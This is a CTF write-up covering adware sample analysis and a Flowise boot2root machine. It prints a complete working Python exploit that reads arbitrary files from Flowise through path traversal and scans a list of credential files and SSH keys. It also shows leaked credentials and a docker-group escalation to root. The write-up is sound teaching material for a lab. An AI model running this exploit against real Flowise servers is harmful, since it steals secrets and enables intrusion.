---
# System prepended metadata

title: P3RF3CTR00T-CTF
tags: [ctf]

---

Hello hackers, It's another weekend and another ctf, urchinsec we had a privilege to create some challenges for  PerfectR00T CTF competition which was a two days hacking competition bringing people from almost all the over the  world.
![image](https://hackmd.io/_uploads/rkTg2O4Gbe.png)

We were able to prepare different categories such as :- 

```
1. Web
2. Reverse Engineering
3. Malware Analysis
4. Boot2root
```
![image](https://hackmd.io/_uploads/rJaIqO4GZl.png)

## MALWARE ANALYSIS
With malware analysis we had 10 challenges which they were easy one you had to do static malware analysis but also dynamic malware analysis.

### WRITEUP - CashNight1403
Description
```
Recently, UrchinSec-LLC organization detected a new malware sample that was delivered to one of the
employees through a suspicious communication channel. The malware was flagged by endpoint telemetry due to
abnormal process behavior, unusual registry interactions, and outbound network traffic, the malware sample
seemed very trick by trying to trick users into believing their system has problems, then charges them for
a "fix", UrchinSec-LLC have hired you as a malware forensic person to help them find out is this a true
malware or is a false positive its just a normal file, and if it's a true malware what is trying to doo
actually.
Your Mission:
1. To solve the patterns and join the pieces of what the malware sample was all about.
2. Find any clues about the malware type and its behavious
3. Understanding about the malware sample and perform static and dynamic malware analysis.
Flag_Format: r00t{flaghere}
NB: The malware sample is a password protected so extract this malware in a well controlled environment so
as to avoid any malware infection or spread.
password:w4rl0ck
```
### initial analysis
```
The challenge starts with downloading the malware sample(password protected), extracting the file and the first thing we confirm if the file is the the same by cheking the checksum.Its very important in reverse
engineering and malware analysis to check the checksum.
```
![image](https://hackmd.io/_uploads/rJsm4KVf-g.png)

### Static malware analysis
```
Now we have already confirmed that the file is the same, the next thing is to try startic malware analysis we can do this in a controlled environment.

Since we have already know the file type we can just rename the file with the same file type as we see from
the metadata of the malware.
```
![image](https://hackmd.io/_uploads/HyBp4t4z-x.png)

### QN-1 (What is the malware family?)
At this stage, we still know very little about the type of malware we’re dealing with, right? A good first step is to upload the sample to VirusTotal and review the initial detection results.
![image](https://hackmd.io/_uploads/Bky-HYVfbl.png)

Most of time to find the malware type and family stuffs, we can check the community section on virustotal.
![image](https://hackmd.io/_uploads/By9MBKNz-l.png)

```
ANS: r00t{Adware.Techsnab}
```
### QN-2(What is the humanhash of the malware you identified?)
The second question ask about humanhash, basically this is something new, so first thing is to understand what is humanhash.
![image](https://hackmd.io/_uploads/SyQ8BKNfbg.png)

```
Now since we understand about humanhash from our google assistance, were can we get humanhash of this malware type.

One place were we can find this type of hash is from the MalwareBazar db where it usually comes with this type of hash.
ANS: r00t{arkansas-yankee-beryllium-jupiter}
```
![image](https://hackmd.io/_uploads/SJPYBYEzWe.png)
![image](https://hackmd.io/_uploads/BJF_wYNMWe.png)


### QN-3(When was the malware first compiled?.)
```
This question needs us to find the first compiled date of the malware sample, most of time we can get this
from the malware sample from virusTotal.
From virustotal at the bottom on Details section we can find the timeStamp on the header section.
ASN: r00t{2025-11-21 17:11:40 UTC}
```
![image](https://hackmd.io/_uploads/rkSlIYEfWe.png)
![image](https://hackmd.io/_uploads/SkcTDF4MZg.png)


### QN-4 (What is the first dll created when the malware is executed at first
time?.)

```
The question needs us to find the first dll that was being called when the malware was being launched, there are two ways to do this, From virus Total we can see alot of dll files here, This is little trick but straight forwad the malware sample it self were given is .dll so basically we don't expect it to run directly right, so what is next from here, This one is very easy we can try to find online the paterns about the actuall malware w

## APROACH-1
Is to find the actuall malware sample and run it the malware on the controlled environment, It will be observed that when this malware is being runned it first creates this 787cb98047d59432462618f4f93162dacc240ef5d1937632408d28f32b621d2c.dll but it is missing the underscore thing compared when being runned on the sandbox, so we can assume this is the first dll without even checking Task Manager, why this file, Because it is the first file when the malware being runned it creates.

## APPROACH-2
Approach-2 is not run the malware but we can use the available samples of sandbox available on virustotal, this is very useful for users who are have limited environment. In order to see the type of dll this file creates, we can go to the community sections and start exploring the
ANS: r00t{_787cb98047d59432462618f4f93162dacc240ef5d1937632408d28f32b621d2c.dll}
```
![image](https://hackmd.io/_uploads/ryz2LFNMbx.png)
![image](https://hackmd.io/_uploads/B10hLtEzbg.png)
![image](https://hackmd.io/_uploads/r1rT8YVfZx.png)
![image](https://hackmd.io/_uploads/rkJWdKEfbl.png)


### QN-5 (What is the capability of the malware,mention three.? )
```
Understanding what actually the malware can do is neccessary because your going to understand what you expecte the malware to output after running in a sandbox environment.Malware capabilities can be obtained from either reversing the malware sample or reversing the malware and see the read the source codes or static malware analysis.This challenge was so easy because what you need to find from public documentation about capabilities of
malware.
ANS: r00t{terminate_process,create_thread,suspend_thread}
```
![image](https://hackmd.io/_uploads/S1oGPtEz-g.png)
![image](https://hackmd.io/_uploads/S1ULuKNzZe.png)


### QN-6 (What is the malware MIME type.?)
```
Obtaining the MIME type, we can go back to MalwareBuzer and it's easy from there to find the actually type.

ANS: r00t{application/x-dosexec}
```
![image](https://hackmd.io/_uploads/By7_dFEfWg.png)
![image](https://hackmd.io/_uploads/rJxTdYVGZx.png)

### QN-7(One of the registry is responsible for emulator stuffs what is it?.)
```
The question needs us to find the regitry key that was responsible for emulator stuffs, well this is easy if we understand what regitry keys is and where is being located but also this is easy. At first it might be like a guessing strick but this is very simple of we understand something
```
![image](https://hackmd.io/_uploads/B10lKYVMbe.png)

```
We can see that we got a lot of regitry keys, but among all of of them the one which is reposible for emulator is

- HKEY_LOCAL_MACHINE\Software\Microsoft\Wow64\x86\xtajit
ANS: r00t{HKEY_LOCAL_MACHINE\Software\Microsoft\Wow64\x86\xtajit}
```
![image](https://hackmd.io/_uploads/HyOBtYEM-e.png)

### QN-8(A malware developer forgot debuging path, can you identify the full
path?)
```
Fiding debuging path is very easy incase if you know anything about debuging path in windows malware development(Visual Studion) code editor. Debuging path are primary managed with symbol files with extension(.pdb), Now we have already understand how we can find this, next thing is to look directly on the malware itself but decompiling the malware or static(works).

ANS: r00t{C:\Users\Administrator\Desktop\Debug\privates\bin\Debug\CrashRpt1403.pdb}
```
![image](https://hackmd.io/_uploads/H1B0tFVG-e.png)
![image](https://hackmd.io/_uploads/By4k9K4M-l.png)
![image](https://hackmd.io/_uploads/SJtaKK4MWg.png)

### QN-9(What is the child process created when the malware is runned?)
```
Well this challenge was easy because we have to find the child process created when malware initiates it initiales process, you can either do this by running the malware in a controlled environment, or use the available sandbox and observer the behavviour of the malware.

But also use some controlled to do this. Since because after first main process the malware created also child process, although it the process of creating this child process take like 20-50 Seconds.

ANS:r00t{C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe}
```
![image](https://hackmd.io/_uploads/rkJIcFNMZl.png)
![image](https://hackmd.io/_uploads/B1Q_9FVf-l.png)

### QN-10 (After some time when the malware is being executed there is an
embeded COM process created attached with the command, what is the
cmd command you observed?.)
```
After the malware creates main process, after some time we can observer that it was able to create a child process, since because dynamic malware anaylis needs us to understand properties and behaviour of the malware by running it, by keep observing the malware in a further analysis we can see that process was created and which was c:\WINDOWS\System32\slui.exe -Embedding
embedded COM

ANS: r00t{C:\WINDOWS\System32\slui.exe -Embedding}
```
![image](https://hackmd.io/_uploads/rJZA5YVzZx.png)
![image](https://hackmd.io/_uploads/SJmusKVM-e.png)

### conclusion
```
Malware analysis is a critical process that strengthens an organization’s ability to detect, understand, and respond to cyber threats. By combining static analysis and dynamic analysis, analysts gain a complete picture of a malware sample’s structure, behavior, and intent. Static analysis helps reveal the code, embedded strings, and potential capabilities without executing the malware, allowing for safe initial insights. Dynamic analysis, on the other hand, exposes the real behavior of the malware when executed in a controlled environment, helping analysts observe system changes, network
communications, and triggered actions.

Together, these two techniques provide a comprehensive understanding that supports threat hunting, incident response, and the development of effective
detection signatures. In the end, mastering both approaches ensures faster identification of malicious activity and stronger defenses against evolving
cyber threats.
```

## BOOT2ROOT
### FLOWISE 1
![image](https://hackmd.io/_uploads/S1t_nYNMWl.png)
From my side as a creator/author of this first part of boo2root this was a easiest challenge I made so as everyone can get free points but it endedup with no solves, but got no solves which was awersome for me.
### Description
```
Were given the description, we need to find a user.txt so as to unlock the root flag section.
This was the address(domain name) boot2root.perfectroot.wiki
```
### SCANNING
![image](https://hackmd.io/_uploads/S1gFpFNMWe.png)
Nmap scanning reveals ports we can start to check one after another one but we can also scan in depth about this port but am going to focus on two open ports ssh and 3000

![image](https://hackmd.io/_uploads/H1adPqEM-l.png)

### ENUMERATION
now we already know the initial point of starting with which is port 3000. Opening this from our browser we endup with a login page.
![image](https://hackmd.io/_uploads/Hya1CYEfWe.png)
![image](https://hackmd.io/_uploads/SyhgCtEMWe.png)

Now since we have no creds we need to find a way in, but we can start with fuzzing subdirectories and see if we might get any juice info right.

But while fuzzing is in progress we can check few things we have already seen what were dealing with here it's an AI agent right. Indicators from the source code as well simple like that.

![image](https://hackmd.io/_uploads/SkJERYEGZx.png)
![image](https://hackmd.io/_uploads/ryw4AYNMZe.png)

```
Now we need to google about this and get more information of it. when we go an extra miles it takes us to a github page of itself.

NB: From here is either we find creds or exploit directly.
```
![image](https://hackmd.io/_uploads/SyJ8CF4Mbe.png)
![image](https://hackmd.io/_uploads/B1Tw0FNMZx.png)

### EXPLOITATION
```
Quick enumeration starts with issues and security section from github. Issues might take you a long way to get to the point but with security section we can read them. So from here we can focus with this one.
```
![image](https://hackmd.io/_uploads/SJq5Rt4G-g.png)
![image](https://hackmd.io/_uploads/H1z_ucNM-g.png)

We can start with few things here. The first 7 bugs might work but also might not work. The RCE needs a way to trigger it which in this machine it was not possible since because I didn't want to put it in way even a 2yrs-kid can exploit it, So I will focus with the File Read one that's why I rated the machine Easy (Worth Easy).

```
### Summary

Being able to read the remote files you will need the flowchatId right, good enought i made 2-3 of them so it's much each easly for someone to read the remote files. The question comes with how we can get the chatflowId?, well this is very interesting, because there are two ways to do this. There is a PoC which starts by finding the chatflowid and then use it to read files. Thanks to the PoC were not going to write any code here, But also there is a manual way were u can trigger the flowchartId from burpsuite.
```
![image](https://hackmd.io/_uploads/HJVRy9NMZg.png)
![image](https://hackmd.io/_uploads/r1lrxcEMZl.png)

The last error tells us that were missing the file, this argument expectes us to put the filename we need to read right, let's go back to the PoC and see that was the file type this author started to read first.

![image](https://hackmd.io/_uploads/HkK_g5EMZl.png)

Going back and retry with the same file we get a different response this time. database.sqlite showing data-format means there is something wrong so we can work on  this  by starting fixing it or recontruct it back.

![image](https://hackmd.io/_uploads/SyPCe5VfWe.png)
![image](https://hackmd.io/_uploads/rJIx-94G-g.png)

now atleast were getting a different error but wait seems its also readable for some characters right, we can try see if there is any interesting information inside despite of it's format.

![image](https://hackmd.io/_uploads/rJh7b9Vf-x.png)

```
From here we can try to recontruct the hash
username:erickalex@perfectroot.com
hash:$2a$05$z2Od9Yf0cJgjm2abO0qkvulwHkvulwHkc8cv6CGTVe24PgOZBOjpr7d46da
Trying to run with hashcat we get a very different error which means something is wrong here, so this sounds like a rabbit hole so we can skip it for the time-being.
```
![image](https://hackmd.io/_uploads/rkWOZq4zZl.png)

```
After some time we need to try to read a different file right. Forexample .env, bash_history but trying to read something like passwd this won't work.
In most cases developer create like .env,secres.txt,secrets.envs to help them to store credentials, so we can take an advantage of reading any files we know but without adding any '/' because we will endup getting errors

In order to understand where flowise store files, and how we can fuzz, we can start with builiding our own locally docker running flowise environment where by we will see that even the database.sqlite file is being located in the /.flowise/storage/

So we need to modify the exploit and make it being able to fuzz the files instead of reading the files only because the PoC just show we can read remote file where by going beyond means we can read any file within
the location directory.


Building our docker env and examine where flowiseAI stores information you will realize you will get something similary to this, which gives us another hint that we might need to fuzz what is very common to developers, directory like storage normall stores files which are very sensitive.
```
![image](https://hackmd.io/_uploads/SJlfzcVM-g.png)

### modifying the exploit
![image](https://hackmd.io/_uploads/r1m7zc4MWe.png)
![image](https://hackmd.io/_uploads/SJdUQcNzZx.png)

```
At the end we can wee that we have three files
>> starting fuzzing against http://boot2root.perfectroot.wiki:3000/
>> fuzzing 42 file paths
[+] FOUND: .env (16 bytes)
[+] FOUND: secrets.env (88 bytes)
[+] FOUND: database.sqlite (385024 bytes)
[+] successfully found 3 file(s)
============================================================
FILE: .env
SIZE: 16 bytes


============================================================
fuzz more forks
============================================================
FILE: secrets.env
SIZE: 88 bytes
============================================================
export KEY1:joshua:w#YNl2izko4DPy_V
export KEY2:joshua@perfectroot.com:w#YNl2izko4DPy_V



Now we have credentials we can try to login, good enough the creds works for web and ssh as well.
```
### INITIAL ACCESS
```
ssh creds
username:joshua
password:w#YNl2izko4DPy_V
```
![image](https://hackmd.io/_uploads/rJqIE9VGZg.png)

### fuzzerscript - modified
```python
#!/bin/env python3
import argparse
import re
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

# common credential and sensitive file paths
FUZZ_PATHS = [
    # env files
    ".env",
    ".env.local",
    ".env.development",
    ".env.production",
    ".env.test",
    ".env.staging",
    "env",
    
    # secret files
    "secrets",
    "secrets.env",
    "secrets.json",
    "secrets.yml",
    "secrets.yaml",
    ".secrets",
    
    # config files
    "config.json",
    "config.yml",
    "config.yaml",
    "config.ini",
    ".config",
    "app.config",
    "application.properties",
    "settings.py",
    "settings.json",
    
    # database files
    "database.sqlite",
    "database.db",
    "db.sqlite",
    "app.db",
    
    # ssh keys
    ".ssh/id_rsa",
    ".ssh/id_dsa",
    ".ssh/id_ecdsa",
    ".ssh/id_ed25519",
    
    # docker secrets
    "docker-compose.yml",
    "docker-compose.yaml",
    ".dockerenv",
    
    # aplication specific
    "package.json",
    "composer.json",
    ".npmrc",
    ".pypirc",
    
    # backup files
    ".env.bak",
    ".env.backup",
    "config.bak",
]

def read_file(url, file_path, proxy, silent=False):
    base_url = url
    proxies = {'http': proxy, 'https': proxy} if proxy else None
    
    if not silent:
        print(f"[*] attempting to read: {file_path}")
    
    try:
        # Step 1: Leak chatflowid
        initial_headers = {}
        files = {'files': ('?', 'asdf', 'text/plain')}
        response = requests.post(
            f"{base_url}/api/v1/vector/upsert/", 
            files=files, 
            headers=initial_headers, 
            timeout=10, 
            proxies=proxies
        )
        
        chatflow_id_matches = re.findall(
            r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', 
            response.json().get("message", "")
        )
        
        if len(chatflow_id_matches) < 2:
            if not silent:
                print("[-] failed to leak chatflowid.")
            return None
        
        chatflow_id = chatflow_id_matches[1]
        
        # Step 2: Read file
        internal_headers = {'x-request-from': 'internal'}
        params = {
            'chatflowId': chatflow_id, 
            'chatId': '/../../', 
            'fileName': file_path
        }
        response = requests.get(
            f"{base_url}/api/v1/get-upload-file", 
            params=params, 
            headers=internal_headers, 
            timeout=10, 
            proxies=proxies
        )
        
        if response.status_code == 200 and len(response.content) > 0:
            return {
                'path': file_path,
                'content': response.text,
                'size': len(response.content),
                'status': response.status_code
            }
        else:
            if not silent:
                print(f"[-] file not found or empty (status: {response.status_code})")
            return None
            
    except requests.exceptions.RequestException as e:
        if not silent:
            print(f"[-] request error: {e}")
        return None
    except Exception as e:
        if not silent:
            print(f"[-] unexpected error: {e}")
        return None

def fuzz_files(url, proxy, threads=5, custom_paths=None):
    print(f"\n>> starting fuzzing against {url}")
    if proxy:
        print(f">> using proxy: {proxy}")
    
    paths_to_fuzz = custom_paths if custom_paths else FUZZ_PATHS
    print(f">> fuzzing {len(paths_to_fuzz)} file paths\n")
    
    found_files = []
    
    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = {
            executor.submit(read_file, url, path, proxy, silent=True): path 
            for path in paths_to_fuzz
        }
        
        for future in as_completed(futures):
            result = future.result()
            if result:
                found_files.append(result)
                print(f"[+] FOUND: {result['path']} ({result['size']} bytes)")
    
    if found_files:
        print(f"\n[+] successfully found {len(found_files)} file(s)\n")
        for file_info in found_files:
            print("=" * 60)
            print(f"FILE: {file_info['path']}")
            print(f"SIZE: {file_info['size']} bytes")
            print("=" * 60)
            print(file_info['content'])
            print("=" * 60 + "\n")
    else:
        print("\n[-] no files found during fuzzing")

def main():
    parser = argparse.ArgumentParser(
        description="Read arbitrary files or fuzz for credential files"
    )
    parser.add_argument(
        "-u", "--url", 
        type=str, 
        required=True, 
        help="target base url (e.g., http://127.0.0.1:3000)"
    )
    parser.add_argument(
        "-f", "--file", 
        type=str, 
        help="path of specific file to read on the server"
    )
    parser.add_argument(
        "-x", "--proxy", 
        type=str, 
        help="proxy to use (e.g., http://127.0.0.1:8080)"
    )
    parser.add_argument(
        "--fuzz", 
        action="store_true", 
        help="enable fuzzing mode to search for common credential files"
    )
    parser.add_argument(
        "--fuzz-list", 
        type=str, 
        help="custom file with paths to fuzz (one per line)"
    )
    parser.add_argument(
        "-t", "--threads", 
        type=int, 
        default=5, 
        help="number of threads for fuzzing (default: 5)"
    )
    
    args = parser.parse_args()
    
    if args.fuzz:
        custom_paths = None
        if args.fuzz_list:
            try:
                with open(args.fuzz_list, 'r') as f:
                    custom_paths = [line.strip() for line in f if line.strip()]
                print(f"[*] loaded {len(custom_paths)} paths from {args.fuzz_list}")
            except Exception as e:
                print(f"[-] error reading fuzz list: {e}")
                return
        
        fuzz_files(args.url, args.proxy, args.threads, custom_paths)
    elif args.file:
        print(f">> starting exploit against {args.url}")
        if args.proxy:
            print(f">> using proxy: {args.proxy}")
        print(f"\n[*] step 1: leaking chatflowid")
        result = read_file(args.url, args.file, args.proxy, silent=False)
        if result:
            print(f"[+] got chatflowid")
            print(f"\n[+] successfully read file ({result['size']} bytes).")
            print("\n--- file content ---")
            print(result['content'])
            print("--------------------\n")
    else:
        parser.print_help()
        print("\nError: either specify --file for single file read or --fuzz for fuzzing mode")

if __name__ == "__main__":
    main()
```



### FLOWISE 2
![image](https://hackmd.io/_uploads/HkPT2YNfbe.png)
### PRIVILEGE ESCALATION
The root part was just a piece of cake 🤓
After gaining access to the machine and reading the user flag, i perform post enumeration on the machine and i identified that user `joshua` is in a docker group.

#### Why Docker Group is Dangerous?
- Docker daemon runs with root privileges.
- A user in the docker group can run containers with docker run or docker exec without needing a password.
- If you can mount the host filesystem inside a container, you can read/write any file on the host, including sensitive ones like /etc/shadow, /root/.ssh/authorized_keys, or even add a new root user.

### Exploitation
#### Step 1 - Check if you are in a **docker** group
![Pasted image 20251208213622](https://hackmd.io/_uploads/rkYnZsVzbe.png)
From the output: groups=1001(joshua),27(sudo),100(users),112(docker)
✅ You are in the docker group (GID 112)
#### Step 2 - Start a container with host root filesystem mounted
To spawn an interactive shell with root privileges we can use the command from [GTFOBins](https://gtfobins.github.io/gtfobins/docker/#shell) as shown below;
![Pasted image 20251208221224](https://hackmd.io/_uploads/Hk6X7o4zWe.png)
In the target machine we run the command and just in few seconds we become root user and read the root flag
![Pasted image 20251208214128](https://hackmd.io/_uploads/B1bvXiNMbl.png)
It was an easy machine tbh 🤣🤣